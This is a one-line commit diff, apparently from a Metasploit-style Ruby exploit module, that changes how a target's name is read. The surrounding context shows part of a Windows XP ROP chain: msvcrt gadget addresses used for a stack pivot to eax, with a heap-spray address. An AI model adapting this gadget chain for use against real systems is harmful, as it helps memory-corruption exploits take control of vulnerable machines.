using the rop as expected
parent
eed5a74f32
commit
14f21c0a29
|
@ -152,7 +152,7 @@ Stack Pivoting to eax:
|
|||
case t['Rop']
|
||||
when :msvcrt
|
||||
print_status("Using msvcrt ROP")
|
||||
if t['Name'] =~ /Windows XP/
|
||||
if t.name =~ /Windows XP/
|
||||
stack_pivot = [0x77c15ed6].pack("V") * 54 # ret
|
||||
stack_pivot << [0x77c2362c].pack("V") # pop ebx, #ret
|
||||
stack_pivot << [0x77c15ed5].pack("V") # xchg eax,esp # ret # 0x0c0c0c0c
|
||||
|
|
Loading…
Reference in New Issue